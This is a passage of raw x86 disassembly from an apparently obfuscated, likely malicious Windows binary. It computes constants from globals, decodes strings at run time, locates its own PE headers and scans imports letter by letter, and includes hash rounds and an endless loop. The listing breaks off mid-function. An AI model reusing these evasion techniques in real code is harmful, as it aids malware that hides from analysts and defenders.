sub_43B0C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B23C proc near ; CODE XREF: sub_443E8D+EBp
; sub_443E8D+113p ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
movsx edx, word_54F198
mov ecx, dword_54F1AC
lea edx, [edx+ecx+1]
cmp eax, edx
jnz short loc_43B282
mov eax, 6Fh
jmp loc_43B305
; ---------------------------------------------------------------------------
loc_43B282: ; CODE XREF: sub_43B23C+3Aj
movzx eax, [ebp+arg_0]
mov edx, dword_54F1AC
movsx ecx, word_54F244
add edx, ecx
sub edx, 8
cmp eax, edx
jnz short loc_43B2A3
mov eax, 79h
jmp short loc_43B305
; ---------------------------------------------------------------------------
loc_43B2A3: ; CODE XREF: sub_43B23C+5Ej
movzx eax, [ebp+arg_0]
mov edx, dword_54F130
add edx, 2
cmp eax, edx
jnz short loc_43B2BB
mov eax, 69h
jmp short loc_43B305
; ---------------------------------------------------------------------------
loc_43B2BB: ; CODE XREF: sub_43B23C+76j
movzx eax, [ebp+arg_0]
mov edx, dword_54F1AC
add edx, dword_54F11C
sub edx, 4
cmp eax, edx
jnz short loc_43B2D9
mov eax, 65h
jmp short loc_43B305
; ---------------------------------------------------------------------------
loc_43B2D9: ; CODE XREF: sub_43B23C+94j
movzx eax, [ebp+arg_0]
mov edx, dword_54F110
sub edx, 4
cmp eax, edx
jnz short loc_43B2F1
mov eax, 61h
jmp short loc_43B305
; ---------------------------------------------------------------------------
loc_43B2F1: ; CODE XREF: sub_43B23C+ACj
movzx eax, [ebp+arg_0]
mov edx, dword_54F0E8
inc edx
cmp eax, edx
jnz short loc_43B305
mov eax, 75h
loc_43B305: ; CODE XREF: sub_43B23C+41j
; sub_43B23C+65j ...
pop edi
pop ebx
leave
retn
sub_43B23C endp
; =============== S U B R O U T I N E =======================================
sub_43B309 proc near ; CODE XREF: sub_444ED7+11p
push edi
push offset byte_550811
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F274, eax
mov eax, dword_54F0C0
movsx edx, word_54F1CC
add eax, edx
sub eax, 0Bh
cmp dword_54F274, eax
jnz short loc_43B351
push offset word_550802
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F274, eax
loc_43B351: ; CODE XREF: sub_43B309+2Fj
push offset word_5507EE
call sub_43AAF7
pop ecx
push eax
push dword_54F274
call ds:dword_4491AC
mov ds:dword_489A00, eax
pop edi
retn
sub_43B309 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B370 proc near ; CODE XREF: sub_43F052+5A5p
; sub_43F052+614p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_C]
not edx
mov ecx, esi
or ecx, edx
xor eax, ecx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43D3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43B370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B3AD proc near ; CODE XREF: sub_444250+2AAp
var_54 = byte ptr -54h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 54h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
push 4
push 1000h
mov eax, [ebp+arg_4]
add eax, 40h
jge short loc_43B3CB
add eax, 3Fh
loc_43B3CB: ; CODE XREF: sub_43B3AD+19j
sar eax, 6
mov edi, eax
shl edi, 6
push edi
push 0
call ds:dword_48A21C
mov [ebp+var_14], eax
mov edi, [ebp+arg_4]
movsx edx, word_54F208
mov ecx, dword_54F234
lea edx, [edx+ecx+37h]
mov eax, edi
add eax, edx
jge short loc_43B3FC
add eax, 3Fh
loc_43B3FC: ; CODE XREF: sub_43B3AD+4Aj
sar eax, 6
movsx edi, word_54F190
mov ecx, dword_54F1F8
lea edi, [edi+ecx+35h]
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call ds:dword_446038
push [ebp+arg_4]
push esi
push [ebp+var_14]
call ds:dword_4CB814
lea eax, [ebp+var_10]
push eax
call sub_43FA9F
add esp, 10h
mov esi, [ebp+var_14]
movsx eax, word_54F104
movsx edx, word_54F198
mov ebx, eax
add ebx, edx
dec ebx
jmp short loc_43B46F
; ---------------------------------------------------------------------------
loc_43B450: ; CODE XREF: sub_43B3AD+DCj
push esi
lea eax, [ebp+var_10]
push eax
call sub_43F052
add esp, 8
mov eax, dword_54F100
add eax, 2Fh
add eax, dword_54F120
lea esi, [esi+eax]
inc ebx
loc_43B46F: ; CODE XREF: sub_43B3AD+A1j
mov edi, [ebp+arg_4]
mov edx, dword_54F1F4
add edx, 37h
mov eax, edi
add eax, edx
jge short loc_43B484
add eax, 3Fh
loc_43B484: ; CODE XREF: sub_43B3AD+D2j
sar eax, 6
cmp ebx, eax
jl short loc_43B450
push 8000h
mov eax, dword_54F124
sub eax, 2
push eax
push [ebp+var_14]
call ds:dword_4CB810
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_441ADA
mov eax, dword_54F178
add eax, 7
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call ds:dword_50C940
add esp, 14h
mov edi, dword_54F0E4
sub edi, 5
cmp eax, edi
jz short loc_43B4DA
xor eax, eax
inc eax
jmp short loc_43B4DC
; ---------------------------------------------------------------------------
loc_43B4DA: ; CODE XREF: sub_43B3AD+126j
xor eax, eax
loc_43B4DC: ; CODE XREF: sub_43B3AD+12Bj
pop edi
pop esi
pop ebx
leave
retn
sub_43B3AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B4E1 proc near ; DATA XREF: .data:0054F2D0o
push ebp
mov ebp, esp
mov eax, dword_54F1D0
sub eax, 7
cmp ds:dword_54DF3C, eax
jbe short loc_43B4FF
push offset dword_54DF3C
call ds:dword_446014
loc_43B4FF: ; CODE XREF: sub_43B4E1+11j
mov eax, ds:dword_54DF3C
pop ebp
retn 4
sub_43B4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B508 proc near ; DATA XREF: .data:0054F2F4o
push ebp
mov ebp, esp
mov eax, dword_54F230
add eax, dword_54F124
sub eax, 3
cmp ds:dword_4495B8, eax
jbe short loc_43B52C
push offset dword_4495B8
call ds:dword_446014
loc_43B52C: ; CODE XREF: sub_43B508+17j
mov eax, ds:dword_4495B8
pop ebp
retn 4
sub_43B508 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B535 proc near ; DATA XREF: sub_441843+53o
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp+var_210]
push eax
push offset dword_4490A0
call sub_4437E1
add esp, 8
mov [ebp+var_208], eax
movsx eax, word_54F194
movsx edx, word_54F198
add eax, edx
sub eax, 2
cmp [ebp+var_208], eax
jnz short loc_43B57D
xor eax, eax
jmp loc_43B70E
; ---------------------------------------------------------------------------
loc_43B57D: ; CODE XREF: sub_43B535+3Fj
mov eax, dword_54F214
add eax, dword_54F0EC
mov [ebp+var_204], eax
loc_43B58E: ; CODE XREF: sub_43B535+1C5j
mov eax, [ebp+var_204]
mov edx, [ebp+var_208]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_43B5A0: ; CODE XREF: sub_43B535+70j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B5A0
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0FFh
jnb short loc_43B5E3
mov eax, [ebp+var_204]
mov edx, dword_54F224
add edx, dword_54F1F8
sub edx, 3
add eax, edx
add eax, [ebp+var_208]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_4455D4
loc_43B5E3: ; CODE XREF: sub_43B535+82j
movsx esi, word_54F0A8
jmp short loc_43B611
; ---------------------------------------------------------------------------
loc_43B5EC: ; CODE XREF: sub_43B535+EEj
cmp [ebp+esi+var_FF], 29h
jnz short loc_43B5FE
mov [ebp+esi+var_FF], 3Dh
loc_43B5FE: ; CODE XREF: sub_43B535+BFj
cmp [ebp+esi+var_FF], 28h
jnz short loc_43B610
mov [ebp+esi+var_FF], 2Bh
loc_43B610: ; CODE XREF: sub_43B535+D1j
inc esi
loc_43B611: ; CODE XREF: sub_43B535+B5j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_43B61A: ; CODE XREF: sub_43B535+EAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43B61A
cmp esi, eax
jb short loc_43B5EC
push 0FFh
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_444AA8
add esp, 0Ch
mov ebx, eax
movsx edi, word_54F094
sub edi, 2
jmp short loc_43B67C
; ---------------------------------------------------------------------------
loc_43B64E: ; CODE XREF: sub_43B535+149j
movsx eax, [ebp+edi+var_1FE]
mov [ebp+var_218], eax
mov eax, edi
mul edi
mov [ebp+var_21C], eax
mov eax, [ebp+var_218]
mov edx, [ebp+var_21C]
sub eax, edx
mov [ebp+edi+var_1FE], al
inc edi
loc_43B67C: ; CODE XREF: sub_43B535+117j
cmp edi, ebx
jb short loc_43B64E
mov eax, dword_54F23C
add eax, dword_54F1EC
sub eax, 2
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1FE]
push eax
call sub_43DE22
add esp, 0Ch
mov [ebp+var_214], eax
mov eax, dword_54F180
add eax, 0FFFBh
add eax, dword_54F20C
cmp [ebp+var_214], eax
jz short loc_43B6D0
push [ebp+var_208]
call ds:dword_4495CC
xor eax, eax
inc eax
jmp short loc_43B70E
; ---------------------------------------------------------------------------
loc_43B6D0: ; CODE XREF: sub_43B535+188j
mov eax, [ebp+var_20C]
add [ebp+var_204], eax
mov eax, dword_54F18C
inc eax
add eax, dword_54F158
add [ebp+var_204], eax
mov eax, [ebp+var_210]
cmp [ebp+var_204], eax
jb loc_43B58E
push [ebp+var_208]
call ds:dword_4495CC
xor eax, eax
loc_43B70E: ; CODE XREF: sub_43B535+43j
; sub_43B535+199j
pop edi
pop esi
pop ebx
leave
retn
sub_43B535 endp
; =============== S U B R O U T I N E =======================================
sub_43B713 proc near ; DATA XREF: .data:0054F2D4o
mov eax, 80004001h
retn 8
sub_43B713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B71B proc near ; CODE XREF: sub_43B0C6+10Dp
var_40 = word ptr -40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
movsx eax, word_54F148
mov edi, eax
add edi, dword_54F1C0
sub edi, 2
jmp short loc_43B749
; ---------------------------------------------------------------------------
loc_43B73B: ; CODE XREF: sub_43B71B+3Ej
mov ebx, edi
shl ebx, 1
mov dx, [esi+edi*2]
mov [ebp+ebx+var_40], dx
inc edi
loc_43B749: ; CODE XREF: sub_43B71B+1Ej
mov eax, dword_54F140
add eax, 1Fh
add eax, dword_54F1DC
cmp edi, eax
jb short loc_43B73B
lea eax, [ebp+var_40]
push eax
push esi
call sub_443AFA
add esp, 8
pop edi
pop esi
pop ebx
leave
retn
sub_43B71B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43B76D proc near ; CODE XREF: start+1p
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_127 = byte ptr -127h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea edx, sub_444ED7
mov ecx, dword_54F17C
add ecx, 9
mov eax, edx
shr eax, cl
mov edx, dword_54F230
add edx, 7
add edx, dword_54F1D4
mov ecx, edx
mov ebx, eax
shl ebx, cl
lea eax, sub_444ED7
mov [ebp+var_14], eax
loc_43B7AA: ; CODE XREF: sub_43B76D+5Fj
; sub_43B76D+90j ...
mov [ebp+var_18], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_43B7CE
movsx eax, word_54F148
mov edx, dword_54F0E0
lea eax, [eax+edx+0FFF9h]
sub ebx, eax
jmp short loc_43B7AA
; ---------------------------------------------------------------------------
loc_43B7CE: ; CODE XREF: sub_43B76D+47j
mov eax, dword_54F1E0
add eax, 38h
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp+var_10], eax
mov ecx, [ebp+var_14]
cmp eax, ecx
jbe short loc_43B7FF
mov eax, dword_54F120
add eax, 0FFF2h
movsx edx, word_54F0D0
add eax, edx
sub ebx, eax
jmp short loc_43B7AA
; ---------------------------------------------------------------------------
loc_43B7FF: ; CODE XREF: sub_43B76D+79j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_43B81F
movsx eax, word_54F0F8
add eax, 0FFFBh
sub ebx, eax
jmp short loc_43B7AA
; ---------------------------------------------------------------------------
loc_43B81F: ; CODE XREF: sub_43B76D+A0j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_C], eax
mov eax, dword_54F1B4
sub eax, 4
mov [ebp+var_4], eax
jmp loc_43B9B7
; ---------------------------------------------------------------------------
loc_43B83B: ; CODE XREF: sub_43B76D+256j
mov eax, ebx
add eax, [ebp+var_C]
add eax, [ebp+var_4]
mov [ebp+var_12C], eax
mov edx, dword_54F0D4
sub edx, 5
cmp [eax], edx
jz loc_43B9C9
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp+var_130], edx
push edx
lea eax, [ebp+var_127]
push eax
call sub_4455D4
mov eax, dword_54F1B0
add eax, dword_54F178
sub eax, 10h
mov [ebp+var_28], eax
jmp short loc_43B8AD
; ---------------------------------------------------------------------------
loc_43B88B: ; CODE XREF: sub_43B76D+156j
mov eax, [ebp+var_28]
mov al, [ebp+eax+var_127]
cmp al, 61h
jle short loc_43B8AA
cmp al, 7Ah
jge short loc_43B8AA
mov eax, [ebp+var_28]
lea eax, [ebp+eax+var_127]
sub byte ptr [eax], 20h
loc_43B8AA: ; CODE XREF: sub_43B76D+12Aj
; sub_43B76D+12Ej
inc [ebp+var_28]
loc_43B8AD: ; CODE XREF: sub_43B76D+11Cj
mov eax, [ebp+var_28]
movsx eax, [ebp+eax+var_127]
mov edx, dword_54F1B8
sub edx, 4
cmp eax, edx
jnz short loc_43B88B
mov eax, dword_54F160
cmp byte ptr [ebp+eax+var_12C+3], 4Ch
jnz loc_43B9B3
mov edx, dword_54F098
cmp byte ptr [ebp+edx+var_12C+2], 33h
jnz loc_43B9B3
cmp byte ptr [ebp+eax+var_130+2], 4Bh
jnz loc_43B9B3
mov eax, dword_54F12C
add eax, dword_54F1FC
cmp byte ptr [ebp+eax+var_130+2], 45h
jnz loc_43B9B3
movsx eax, word_54F144
cmp byte ptr [ebp+eax+var_12C+3], 52h
jnz loc_43B9B3
mov eax, dword_54F17C
add eax, dword_54F150
cmp byte ptr [ebp+eax+var_12C+1], 32h
jnz short loc_43B9B3
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+10h]
mov [ebp+var_138], edx
mov eax, dword_54F150
add eax, dword_54F23C
sub eax, 4
mov [ebp+var_134], eax
loc_43B962: ; CODE XREF: sub_43B76D+242j
mov eax, [ebp+var_138]
mov esi, eax
add esi, [ebp+var_134]
mov edi, [esi]
mov eax, dword_54F20C
add eax, dword_54F1D4
sub eax, 0Ch
cmp edi, eax
jz short loc_43B9C9
push edi
call sub_43DFC1
pop ecx
mov eax, dword_54F150
sub eax, 4
cmp dword_54F254, eax
jnz short loc_43B9C9
mov eax, dword_54F124
add eax, dword_54F16C
sub eax, 3
add [ebp+var_134], eax
jmp short loc_43B962
; ---------------------------------------------------------------------------
jmp short loc_43B9C9
; ---------------------------------------------------------------------------
loc_43B9B3: ; CODE XREF: sub_43B76D+165j
; sub_43B76D+179j ...
add [ebp+var_4], 14h
loc_43B9B7: ; CODE XREF: sub_43B76D+C9j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_4], eax
jb loc_43B83B
loc_43B9C9: ; CODE XREF: sub_43B76D+E7j
; sub_43B76D+215j ...
mov eax, dword_54F1D0
add eax, dword_54F248
sub eax, 0Bh
cmp dword_54F254, eax
jz short loc_43BA41
call sub_43C7A3
call sub_43C397
call sub_43BC76
mov edx, eax
mov [ebp+var_19], dl
movzx eax, [ebp+var_19]
mov edx, dword_54F0D4
sub edx, 3
cmp eax, edx
jz short loc_43BA41
lea eax, [ebp+var_20]
push eax
mov eax, dword_54F1B4
sub eax, 4
push eax
lea eax, [ebp+var_24]
push eax
push offset sub_444ED7
mov eax, dword_54F18C
add eax, dword_54F0D4
sub eax, 6
push eax
mov eax, dword_54F228
movsx edx, word_54F0F8
add eax, edx
sub eax, 0Dh
push eax
call ds:dword_54DF20
loc_43BA41: ; CODE XREF: sub_43B76D+270j
; sub_43B76D+295j
pop edi
pop esi
pop ebx
leave
retn
sub_43B76D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BA46 proc near ; CODE XREF: sub_43F052+ABp
; sub_43F052+FDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, esi
and eax, [ebp+arg_8]
mov edx, esi
not edx
and edx, [ebp+arg_C]
or eax, edx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43D3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43BA46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BA83 proc near ; DATA XREF: sub_4447F2+2Do
var_1FFF = byte ptr -1FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4455B4
push esi
push edi
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push [ebp+arg_0]
call ds:dword_54DF38
push offset byte_5507D9
call sub_43AAF7
mov edi, dword_54F1F8
sub edi, 2
push edi
push eax
lea edi, [ebp+var_1FFF]
push edi
call sub_43DE22
add esp, 10h
mov esi, dword_54F1F8
add esi, 0FFFCh
cmp eax, esi
jz short loc_43BAE4
push [ebp+arg_0]
call sub_4427CD
pop ecx
loc_43BAE4: ; CODE XREF: sub_43BA83+56j
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
sub_43BA83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BAED proc near ; CODE XREF: sub_43F052+212p
; sub_43F052+274p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_C]
mov eax, ebx
and eax, esi
mov edx, [ebp+arg_8]
mov ecx, esi
not ecx
and edx, ecx
or eax, edx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43D3EA
add esp, 8
mov edi, eax
add edi, ebx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43BAED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BB30 proc near ; CODE XREF: sub_444250+133p
; DATA XREF: sub_441843+69o
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov eax, dword_54F10C
mov edx, eax
add edx, dword_54F19C
sub edx, 6
push edx
add eax, dword_54F14C
sub eax, 4
push eax
push 3
movsx eax, word_54F240
add eax, dword_54F1A0
sub eax, 10h
push eax
mov eax, dword_54F0C0
sub eax, 2
push eax
push 80000000h
push offset dword_4CA230
call ds:dword_54DB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_43BB90
mov eax, 2Ah
jmp short loc_43BBFA
; ---------------------------------------------------------------------------
loc_43BB90: ; CODE XREF: sub_43BB30+57j
mov eax, dword_54F228
movsx edx, word_54F0C4
add eax, edx
sub eax, 0Eh
push eax
lea eax, [ebp+var_104]
push eax
push 0FFh
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_446034
mov esi, eax
push edi
call ds:dword_4CB948
movzx eax, [ebp+var_FF]
mov edx, dword_54F1D0
add edx, 1Ah
cmp eax, edx
jge short loc_43BBE0
mov eax, 2Ah
jmp short loc_43BBFA
; ---------------------------------------------------------------------------
loc_43BBE0: ; CODE XREF: sub_43BB30+A7j
mov eax, dword_54F19C
sub eax, 4
cmp esi, eax
jnz short loc_43BBF3
mov eax, 2Ah
jmp short loc_43BBFA
; ---------------------------------------------------------------------------
loc_43BBF3: ; CODE XREF: sub_43BB30+BAj
movzx eax, [ebp+var_FF]
loc_43BBFA: ; CODE XREF: sub_43BB30+5Ej
; sub_43BB30+AEj ...
pop edi
pop esi
leave
retn
sub_43BB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BBFE proc near ; CODE XREF: sub_43E364+B8p
; sub_43E364+273p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call ds:dword_446000
mov edi, eax
mov eax, dword_54F188
add eax, dword_54F1E4
sub eax, 9
push eax
mov eax, dword_54F0B8
add eax, dword_54F224
sub eax, 5
push eax
mov eax, dword_54F160
add eax, 1FF7h
movsx edx, word_54F148
add eax, edx
push eax
push esi
push edi
push ebx
movsx eax, word_54F0C4
sub eax, 6
push eax
push 0
call ds:dword_446010
mov eax, dword_54F114
movsx edx, word_54F198
add eax, edx
sub eax, 2
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43BBFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BC76 proc near ; CODE XREF: sub_43B76D+27Cp
; sub_444ED7:loc_444F1Cp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push esi
push edi
mov edi, dword_54F188
inc edi
movsx eax, word_54F0A8
add edi, eax
jmp short loc_43BD04
; ---------------------------------------------------------------------------
loc_43BC93: ; CODE XREF: sub_43BC76+A1j
push offset byte_5507CD
call sub_43AAF7
mov [ebp+var_108], eax
push offset byte_5507C3
call sub_43AAF7
push edi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call ds:dword_50C928
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 100000h
call ds:dword_4CB938
mov [ebp+var_104], eax
or eax, eax
jz short loc_43BD03
push eax
call ds:dword_4CB948
movsx eax, word_54F128
inc eax
cmp edi, eax
jnz short loc_43BCFC
xor eax, eax
inc eax
jmp short loc_43BD1F
; ---------------------------------------------------------------------------
loc_43BCFC: ; CODE XREF: sub_43BC76+7Fj
mov eax, 2
jmp short loc_43BD1F
; ---------------------------------------------------------------------------
loc_43BD03: ; CODE XREF: sub_43BC76+6Cj
inc edi
loc_43BD04: ; CODE XREF: sub_43BC76+1Bj
mov eax, dword_54F110
add eax, 5Bh
movsx edx, word_54F104
add eax, edx
cmp edi, eax
jb loc_43BC93
xor eax, eax
loc_43BD1F: ; CODE XREF: sub_43BC76+84j
; sub_43BC76+8Bj
pop edi
pop esi
leave
retn
sub_43BC76 endp
; =============== S U B R O U T I N E =======================================
sub_43BD23 proc near ; CODE XREF: sub_444ED7+Cp
push edi
push offset asc_5507B4 ; "\v"
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F27C, eax
mov eax, dword_54F0EC
movsx edx, word_54F164
add eax, edx
sub eax, 2
cmp dword_54F27C, eax
jnz short loc_43BD6B
push offset byte_5507A5
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F27C, eax
loc_43BD6B: ; CODE XREF: sub_43BD23+2Fj
push offset byte_55078D
call sub_43AAF7
pop ecx
push eax
push dword_54F27C
call ds:dword_4491AC
mov ds:dword_447FC4, eax
pop edi
retn
sub_43BD23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BD8A proc near ; CODE XREF: sub_444250+572p
; DATA XREF: sub_441843+ECo
var_10A = byte ptr -10Ah
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
mov eax, dword_54F0A4
add eax, dword_54F1B4
mov dl, [ebp+arg_0]
mov [ebp+eax+var_10A], dl
mov eax, dword_54F1E0
sub eax, 4
push eax
push 80h
push 4
mov eax, dword_54F178
sub eax, 9
push eax
mov eax, dword_54F24C
movsx edx, word_54F208
add eax, edx
sub eax, 0Ah
push eax
push 40000000h
push offset dword_4CA230
call ds:dword_54DB18
mov edi, eax
movsx eax, word_54F1C4
add eax, dword_54F170
sub eax, 0Ch
push eax
lea eax, [ebp+var_104]
push eax
mov eax, dword_54F178
sub eax, 8
push eax
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_54DF1C
push edi
call ds:dword_4CB948
pop edi
leave
retn
sub_43BD8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43BE1F proc near ; DATA XREF: sub_443B7F+1AAo
var_A = byte ptr -0Ah
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+arg_0]
push offset sub_441207
push dword ptr fs:0
mov fs:0, esp
push offset byte_550785
call sub_43AAF7
push dword ptr [edi]
push eax
lea esi, [ebp+var_A]
push esi
call ds:dword_50C928
add esp, 10h
loc_43BE55: ; CODE XREF: sub_43BE1F+5Dj
push 0
push dword ptr [edi]
lea eax, [ebp+var_A]
push eax
call sub_43E77A
movsx eax, word_54F190
add eax, dword_54F0B8
sub eax, 0Ch
push eax
call ds:dword_50C924
add esp, 10h
jmp short loc_43BE55
sub_43BE1F endp
; ---------------------------------------------------------------------------
pop edi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43BE84 proc near ; CODE XREF: sub_43BE84+20Ep
; sub_43BE84+27Cp ...
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push offset byte_55077D
call sub_43AAF7
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50C928
add esp, 10h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CA228
mov [ebp+var_248], eax
movsx eax, word_54F194
neg eax
cmp [ebp+var_248], eax
jnz loc_43C046
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54DB10
mov [ebp+var_260], eax
movsx eax, word_54F094
movsx edx, word_54F0D0
add eax, edx
sub eax, 8
cmp [ebp+var_260], eax
jle short loc_43BF1C
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43BF27
; ---------------------------------------------------------------------------
loc_43BF1C: ; CODE XREF: sub_43BE84+89j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43BF27: ; CODE XREF: sub_43BE84+96j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54CA78
mov eax, dword_54F158
movzx edx, [ebp+var_24E]
movzx ecx, [ebp+var_250]
mov esi, dword_54F20C
